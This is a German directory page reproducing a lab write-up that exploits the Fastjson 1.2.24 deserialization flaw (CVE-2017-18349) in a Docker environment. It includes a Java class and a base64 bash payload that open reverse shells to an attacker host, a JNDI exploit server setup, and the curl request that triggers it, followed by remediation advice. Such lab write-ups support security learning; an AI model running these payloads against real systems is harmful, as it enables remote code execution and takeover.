Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2017-18349 — Schritt-für-Schritt-Anleitung zur Ausnutzung der Fastjson-Deserialisierungs-RCE (CVE-2017-18349), einschließlich Identifizierung der Angriffsfläche, Fingerprinting, JNDI-Injection und Erlangung einer Reverse Shell in einer Docker-Lab-Umgebung. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2017-18349
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRemote-Access-ToolPayload-EntwicklungBinary-ExploitationLabs & Praxis
GitHubdungsocool/cve-2017-18349

CVE-2017-18349

Schritt-für-Schritt-Anleitung zur Ausnutzung der Fastjson-Deserialisierungs-RCE (CVE-2017-18349), einschließlich Identifizierung der Angriffsfläche, Fingerprinting, JNDI-Injection und Erlangung einer Reverse Shell in einer Docker-Lab-Umgebung.

vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Lab 6-CVE-2017-18349

I. SYSTEMANALYSE

Identifizierung der Angriffsfläche

Beginnen wir mit dem, was in der Umgebung läuft. Ich liste alle aktiven Container auf:

root@kitploit:~
docker ps

image.png

Das Opfer gibt nur einen einzigen Port frei: 8090

Derzeit ist mir das Ziel noch nicht vollständig klar. Aus den docker-ps-Ergebnissen geht hervor, dass das System extern nur einen nennenswerten Dienst auf Port 8090 veröffentlicht, der auf den internen Dienst des Containers abgebildet ist. Dies ist die Hauptangriffsfläche, die analysiert werden muss.

⇒ Ich führe direkt einen Curl-Befehl aus, um weitere Informationen zu sammeln

root@kitploit:~
curl -i 192.168.3.137:8090/

image.png

Antwortanalyse:

  • Die Antwort enthält Content-Type: application/json;charset=UTF-8.
  • Die zurückgegebenen Daten liegen im JSON-Format vor: {"age": 25, "name": "Bob"}.

⇒ Überlegung: Beim Zugriff auf Port 8090 gibt der Server JSON-Daten zurück. Dies deutet darauf hin, dass der Endpunkt nicht nur eine statische Webseite ausliefert, sondern über ein Backend verfügt, das Anfragen verarbeitet und Daten in JSON serialisiert, um sie an den Client zurückzugeben. Aus den docker-ps-Ergebnissen geht hervor, dass es sich bei dem im Container laufenden Befehl um eine Java-Anwendung handelt. Die nächste Untersuchungsrichtung ist daher das Fingerprinting gängiger JSON-Parser in Java.

In Java verhalten sich bekannte JSON-Bibliotheken wie Jackson, Gson und Fastjson bei ungewöhnlichen Eingaben unterschiedlich. Daher können wir die Technik des fehlerbasierten Fingerprintings (Error-based Fingerprinting) nutzen. Der zurückgegebene Fehler verrät manchmal direkt die Bibliothek oder den internen Verarbeitungsmechanismus. Unter ihnen ist Fastjson ein Ziel, das frühzeitig überprüft werden muss, da alte Versionen mehrere kritische Schwachstellen im Zusammenhang mit der AutoType-Deserialisierung aufwiesen.

Hier behaupte ich nicht sofort, dass das Backend Fastjson verwendet. Ich wähle Fastjson nur als erste Überprüfungsrichtung, weil es durch den @type-Schlüssel einen eindeutigen Fingerprint besitzt. Sollte es sich tatsächlich um eine alte Fastjson-Version handeln, reicht die Ausnutzbarkeit weit über einen standardmäßigen Parsing-Fehler hinaus und kann möglicherweise sogar bis zur RCE führen.

Fingerprinting & Bibliotheks-Erkundung

Fastjson hat eine für das Fingerprinting sehr nützliche Eigenschaft: Es erkennt den speziellen @type-Schlüssel. Wenn das Backend Fastjson verwendet und der in den Deserialisierungsprozess gesendete Anfragetext AutoType unterstützt, versucht der Parser möglicherweise, den @type-Wert als Java-Klassennamen zu interpretieren.

Daher sende ich einen Payload, der @type mit Verweis auf eine nicht existierende Klasse enthält. Das Ziel dieses Schritts ist nicht die sofortige Ausnutzung, sondern die Beobachtung, ob das Backend auf @type reagiert.

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  -d '{"@type":"com.non.existent.Class"}' \
  http://192.168.3.137:8090/

image.png

Wenn das Backend einen standardmäßigen JSON-Parser verwenden würde und @type ignorieren würde, könnte dieses Feld einfach ignoriert oder als normaler Schlüssel im JSON behandelt werden. Hier reagiert das Backend jedoch mit typbezogenem Verhalten (type not match), was bedeutet, dass die Anfrage in den Verarbeitungsablauf für Klassen-/Typ-Zuordnung gelangt ist.

Die Meldung „type not match“ ist eine charakteristische Signatur, die häufig auftritt, wenn Fastjson @type verarbeitet, die angegebene Klasse jedoch nicht dem vom Endpunkt erwarteten Datentyp entspricht oder die Klasse nicht existiert bzw. nicht deserialisiert werden darf.

⇒ Überlegung: Das Backend parst den JSON-Body der POST-Anfrage tatsächlich, das @type-Feld wird nicht ignoriert, der Parser verfügt über einen Mechanismus zur Verarbeitung von Typmetadaten, und der zurückgegebene Fehler entspricht dem Verhalten von Alibaba Fastjson. Daher können wir mit hoher Zuversicht schlussfolgern, dass das Backend Alibaba Fastjson verwendet.**

Identifizierung der Ausnutzungsbedingungen

Nach dem Fingerprinting-Schritt kann ich nicht sofort schlussfolgern, dass das System ausnutzbar ist. Dass das Backend Fastjson verwendet, beweist nur, dass die JSON-Anfrage in den @type-Verarbeitungsablauf gelangt.

Um einen RCE-Exploit auszuführen, müssen die folgenden Punkte überprüft werden:

  • Ob das verwendete Fastjson eine alte Version ist, die von der AutoType-Deserialisierung betroffen ist.
  • Ob die JVM des Opfers es JNDI erlaubt, Klassen remote zu laden.
  • Ob eine geeignete Gadget-Klasse im Classpath/JDK vorhanden ist, um gefährliches Verhalten auszulösen.

⇒ Überlegung: Der Fehler „type not match“ zeigt, dass das Backend auf @type reagiert, aber der aktuelle Payload verwendet nur eine Fake-Klasse, um einen Fehler auszulösen. Für die tatsächliche Ausnutzung müssen wir diese Fake-Klasse durch eine echte, in Java/JDK vorhandene Klasse ersetzen, die in der Lage ist, ausgehende Verhaltensweisen wie einen JNDI-Lookup zu erzeugen.

Überprüfung der Fastjson- und JVM-Versionen

Um die Version zu bestimmen, prüfe ich direkt im Container/in der Anwendung.

image.png

Nachdem ich festgestellt habe, dass die Anwendung als Datei /usr/src/fastjsondemo.jar verpackt ist, analysiere ich die Paketstruktur eingehend, um nach der JSON-Verarbeitungsbibliothek zu suchen. Die Prüfung der Verzeichnisstruktur BOOT-INF/lib/ zeigt die Datei fastjson-1.2.24.jar (Abbildung X).

Die Verwendung von genau Version 1.2.24 – der ersten und bekanntesten Version, die von der Deserialisierungsschwachstelle ohne jegliche AutoType-Verteidigungsmechanismen betroffen ist – erlaubt uns zu bestätigen, dass das System anfällig für CVE-2017-18349 ist.

Das Auffinden von fastjson-1.2.24.jar bestätigt, dass die Anwendung eine sehr alte Version von Fastjson verwendet, die zu der von der AutoType-Deserialisierungsschwachstelle betroffenen Gruppe gehört. In dieser Version wurde der Kontrollmechanismus über AutoType nicht wie in späteren Versionen verschärft. Hinsichtlich der Bibliotheksbedingungen ist das System daher anfällig für die Ausnutzung durch Gadget-Klassen wie JdbcRowSetImpl.

Die tatsächliche Ausnutzbarkeit hängt jedoch weiterhin davon ab, wie der Endpunkt Fastjson aufruft. Wenn die Anwendung JSON in eine feste Klasse parst, kann das Setzen des @type-Payloads auf der Root-Ebene zum Fehler „type not match“ führen. Daher müssen wir nach der Identifizierung der Version die JVM, die Gadget-Klasse und das LDAP-Callback-Verhalten weiter analysieren, um zu bestätigen, ob die Exploit-Kette tatsächlich den JNDI-Lookup erreicht.

Analyse der Bedingungen für das Erreichen des JNDI-Lookups

1. Analyse der JVM-Barrieren

Neben der Fastjson-Version ist auch die Java-Version ein entscheidender Faktor. Ich prüfe die JVM im Container:

root@kitploit:~
java -version

image.png

Dies sind kritische Informationen, da Fastjson-Exploit-Ketten typischerweise auf JNDI-Injection basieren. Neuere Java-Versionen blockieren standardmäßig das Laden von Klassen aus externen Codebases über LDAP/RMI. Java 8u102 ist jedoch eine alte Version, die diese Blockierungsmechanismen noch nicht besitzt.

Wenn der Angreifer also einen JNDI-Lookup auslösen kann, ist die JVM des Opfers in der Lage, die Klasse von einem externen HTTP-Server herunterzuladen und in die Laufzeitumgebung zu laden.

Analyse des JdbcRowSetImpl-Gadgets

Nach der Identifizierung von altem Fastjson und alter JVM besteht der nächste Schritt darin, eine im JDK vorhandene Klasse zu finden, die bei der Deserialisierung gefährliches Verhalten erzeugen kann.

com.sun.rowset.JdbcRowSetImpl ist ein geeignetes Gadget, da diese Klasse im JDK vorhanden ist und eine dataSourceName-Eigenschaft besitzt. Wenn dataSourceName einen Wert im LDAP-URL-Format erhält, kann das Objekt ausgenutzt werden, um einen ausgehenden JNDI-Lookup auszulösen.

⇒ Überlegung: Ich muss keinen Code direkt auf den Server hochladen. Stattdessen nutze ich eine vorhandene Klasse innerhalb der JVM aus, um das Opfer zu zwingen, sich mit einem vom Angreifer kontrollierten LDAP-Server zu verbinden.

Verifizierung der Exploit-Kette

Nachdem die notwendigen Bedingungen hinsichtlich Bibliothek und JVM festgestellt wurden, muss ich überprüfen, ob der Payload das Opfer tatsächlich zu einer ausgehenden Verbindung zwingt. Dies ist ein entscheidender Schritt, um zu unterscheiden zwischen:

  • Einem System, das eine verwundbare Bibliothek/Version enthält.
  • Einer tatsächlichen Exploit-Kette, die erfolgreich einen JNDI-Lookup auslösen kann.

Wenn der LDAP-Server oder Listener eine Verbindung vom Opfer empfängt, beweist dies, dass der Payload den JNDI-Lookup-Schritt erfolgreich erreicht hat. Wenn kein Callback erfolgt und der Server „type not match“ zurückgibt, deutet dies darauf hin, dass der aktuelle Payload nicht zum Deserialisierungsablauf des Endpunkts passt. In diesem Fall muss der Payload an die genaue Objektstruktur angepasst werden, die vom Endpunkt geparst wird, oder es sollten alternative Bypasses/Gadgets verwendet werden.

Fazit der Analysephase

Aus den obigen Schritten lässt sich die Bedingungskette des Systems wie folgt zusammenfassen:

  • Der Dienst auf Port 8090 ist ein Backend, das JSON verarbeitet.
  • Die Fehlerantwort mit @type zeigt, dass das Backend den Typmetadaten-Mechanismus verarbeitet, was dem Verhalten von Fastjson entspricht.
  • Die Inspektion im Container bestätigt, dass die Anwendung die Bibliothek fastjson-1.2.24.jar enthält.
  • Fastjson 1.2.24 gehört zur Versionsgruppe, die von CVE-2017-18349 betroffen ist.
  • Die JVM des Opfers ist OpenJDK 1.8.0_102, eine alte Version, die das Laden von Remote-Codebases über JNDI standardmäßig nicht blockiert.
  • Das Gadget com.sun.rowset.JdbcRowSetImpl ist im JDK vorhanden und kann ausgenutzt werden, um über die dataSourceName-Eigenschaft einen JNDI-Lookup auszulösen.

⇒ Überlegungen zur Ausnutzung:

Ich muss keine Datei-Upload-Funktionen finden oder Dateien direkt auf dem Server schreiben. Stattdessen nutze ich den Deserialisierungsablauf von Fastjson aus, um die JVM zu zwingen, ein JdbcRowSetImpl-Objekt zu instanziieren. Wenn dieses Objekt eine dataSourceName in Form einer LDAP-URL erhält, führt das Opfer einen JNDI-Lookup zum vom Angreifer kontrollierten Server durch. Von dort aus kann der Angreifer die JVM umleiten, um die schädliche Klasse von einem externen HTTP-Server herunterzuladen und den Code innerhalb dieser Klasse auszuführen.

Der gewählte Ausnutzungspfad ist daher:

root@kitploit:~
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker

II. AUSNUTZUNG

Exploit-Mechanismus

root@kitploit:~
text

Connection received on 192.168.3.137 43928
whoami
root

In Fastjson 1.2.24 ist die Klasse com.sun.rowset.JdbcRowSetImpl eine Gadget-Klasse, die im JVM-Classpath vorhanden ist (zur Standardbibliothek rt.jar gehörend). Wenn Fastjson eine JSON-Zeichenfolge deserialisiert, die @type mit Verweis auf diese Klasse enthält:

  1. Fastjson instanziiert JdbcRowSetImpl.
  2. Der Setter setDataSourceName() wird aufgerufen → setzt die JNDI-Adresse.
  3. setDataSourceName() löst das interne InitialContext.lookup(dataSourceName) aus → die gesamte JNDI-Injection findet hier statt, bevor setAutoCommit() eine Chance zur Ausführung erhält.
  4. Der JNDI-Lookup fragt den LDAP-Server des Angreifers ab → empfängt das Reference-Objekt.
  5. Die JVM lädt die Datei Exploit.class von der HTTP-Codebase herunter, lädt sie in den Speicher → führt den static {}-Block aus.

Erstellen des Java-Exploit-Codes (Exploit.java)

root@kitploit:~
import java.io.IOException;
public class Exploit {
    static {
        try {
            String[] cmd = {
                "/bin/bash",
                "-c",
                "exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Rückwärtskompatible Kompilierung für Java 8 und Einrichten des HTTP-Codebase-Servers

Da die JVM des Opfers Java 8u102 ausführt, müssen wir bei der Kompilierung das Ziel als Java 8 angeben. Andernfalls wirft das Opfer einen UnsupportedClassVersionError und die Angriffskette schlägt still fehl. Anschließend richten wir den HTTP-Codebase-Server ein:

root@kitploit:~
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000

Einrichten des JNDI-Exploit-Servers mit JNDI-Injection-Exploit

Da die Kali-Umgebung Java 25 ausführt – zu neu, um marshalsec zu bauen – verwenden wir das alternative Tool JNDI-Injection-Exploit. Zuerst erstellen wir den Reverse-Shell-Payload im Base64-Format:

root@kitploit:~
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64

Starten wir den JNDI-Server mit dem obigen Payload:

root@kitploit:~
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
  -A 192.168.3.114

image.png

Das Tool generiert automatisch den LDAP-Endpunkt:

root@kitploit:~
ldap://192.168.3.114:1389/6bzjwg

Lauschen und Auslösen der Angriffskette

Öffnen wir den Reverse-Listening-Port:

root@kitploit:~
nc -lvnp 4444

Wir sehen, dass das Platzieren des @type-Payloads auf der Root-Ebene einen Fehler type not match zurückgibt – weil der Spring-Boot-Controller das JSON in einen festen Typ abbildet, der auf der Root-Ebene nicht mit JdbcRowSetImpl übereinstimmt.

Anpassen des Payloads: Die Gadget-Klasse wird in ein verschachteltes Feld ("data":{...}) eingebettet, damit Fastjson das verschachtelte Objekt unabhängig von der Typ-Einschränkung des Controllers verarbeitet:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  -d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
  http://192.168.3.137:8090/

Ausnutzungsergebnisse

image.png

Auf dem LDAP-Server (marshalsec): Erfolgreiche JNDI-Abfrageanfrage von der IP des Opfers protokolliert und zur HTTP-Codebase umgeleitet.

Auf dem HTTP-Server (Python): Die Anfrage zum Herunterladen der Datei Exploit.class mit Statuscode 200 OK von der IP des Opfers protokolliert – ein Beweis dafür, dass die JVM den Bytecode erfolgreich geladen hat.

Beim Netcat-Listener: Interaktive Sitzung (Reverse Shell) erfolgreich hergestellt:

root@kitploit:~
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root

Die vollständige Exploit-Kette wurde erfolgreich verifiziert: vom Senden des JSON-Payloads → JNDI-Lookup → LDAP-Verweis → Laden der Remote-Klasse → Ausführen von Code im static {}-Block → Herstellen einer Reverse Shell mit root-Rechten.

III. RISIKOBEWERTUNG & BEHEBUNG

RISIKOBEWERTUNG

Die Fastjson-Deserialisierungs-RCE-Schwachstelle (CVE-2017-18349) auf diesem System wird auf der höchsten Schweregradstufe bewertet:


EMPFEHLUNGEN ZUR BEHEBUNG

Um diese Schwachstelle vollständig zu beheben, sollten Maßnahmen in der folgenden Prioritätsreihenfolge umgesetzt werden:

Dringende Prioritäten (kurzfristig):

  1. Fastjson aktualisieren: Die Bibliothek auf eine sichere Version (≥ 1.2.83) aktualisieren. Ab Version 1.2.25 ist die autoType-Funktion standardmäßig deaktiviert und ein strenger Blacklist-Mechanismus wurde hinzugefügt – wodurch der Angriffsvektor von CVE-2017-18349 direkt beseitigt wird. Alternativ sollte ein Übergang zu einer besser gepflegten Alternativbibliothek wie Jackson oder Gson in Betracht gezogen werden.
  2. JVM aktualisieren: Die Java-Laufzeitumgebung auf mindestens Java 8u191 aktualisieren. Ab dieser Version ist die Eigenschaft com.sun.jndi.ldap.object.trustURLCodebase standardmäßig auf false gesetzt – wodurch die Fähigkeit der JVM, Klassen automatisch über LDAP/RMI remote zu laden, vollständig blockiert wird. Dies unterbricht die JNDI-Injection-Kette, selbst wenn Fastjson weiterhin die Schwachstelle enthält.
  3. Ausführungsprivilegien herabsetzen: Die Webanwendung niemals unter dem Benutzer root ausführen. Einen dedizierten Benutzer (z. B. app_user) mit minimalen Privilegien erstellen – selbst wenn der Angreifer eine RCE erreicht, wird der Schaden auf den Privilegbereich dieses Benutzers begrenzt.

Hohe Prioritäten (langfristig & Defense-in-Depth):

  1. autoType deaktivieren: Wenn die Beibehaltung der alten Fastjson-Version kurzfristig zwingend erforderlich ist, SafeMode im Quellcode aktivieren, um autoType vollständig abzuschalten:
root@kitploit:~
ParserConfig.getGlobalInstance().setSafeMode(true);

Oder eine strenge Whitelist einrichten, die nur genehmigten Klassen die Deserialisierung erlaubt.

  1. WAF bereitstellen: Eine Web Application Firewall konfigurieren, um HTTP-Anfragen zu erkennen und zu blockieren, die im JSON-Body Signaturen einer Fastjson-Ausnutzung enthalten: @type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.
  2. Container-Netzwerk einschränken: Firewall-Regeln konfigurieren, um zu blockieren, dass der Container aktiv ausgehende Verbindungen (Outbound-Traffic) initiiert – dadurch werden Reverse Shells verhindert, die sich mit dem Angreifer verbinden, und JNDI-Callbacks zu externen LDAP/RMI-Servern blockiert. In der Docker-Umgebung entsprechende -network- und iptables-Regeln konfigurieren.
Tool herunterladen
KriteriumBewertungDetails
CVSS-Score9.8 (Critical)Äußerst hohes Risikoniveau – nur niedriger als die absolute 10.0, da kein besonderer Netzwerkzugriff erforderlich ist.
AuthentifizierungNicht erforderlichDer Angreifer benötigt weder ein Konto noch Anmeldedaten, um sie auszunutzen. Jeder, der eine HTTP-Anfrage senden kann, kann angreifen.
KomplexitätSehr geringErfordert nur das Senden einer einzigen HTTP-POST-Anfrage mit einem gültigen JSON-Payload – keine komplexen Tools oder speziellen Bedingungen erforderlich.
JVM-SchutzKeinerJava 8u102 besitzt keinen Mechanismus zum Blockieren des Ladens von Remote-Klassen (trustURLCodebase ist standardmäßig true), sodass die gesamte Kette JNDI-Injection → Remote-Klassenladen ungehindert funktionieren kann.
Erlangte PrivilegienrootVolle Kontrolle über den Anwendungscontainer auf der höchsten Privilegebene – Lesen/Schreiben/Löschen beliebiger Dateien, einschließlich /etc/shadow.
Laterale BewegungHochVom kompromittierten Container aus kann der Angreifer das interne Netzwerk (172.19.0.0/16) scannen und andere Container im selben Docker-Netzwerk project1_default angreifen.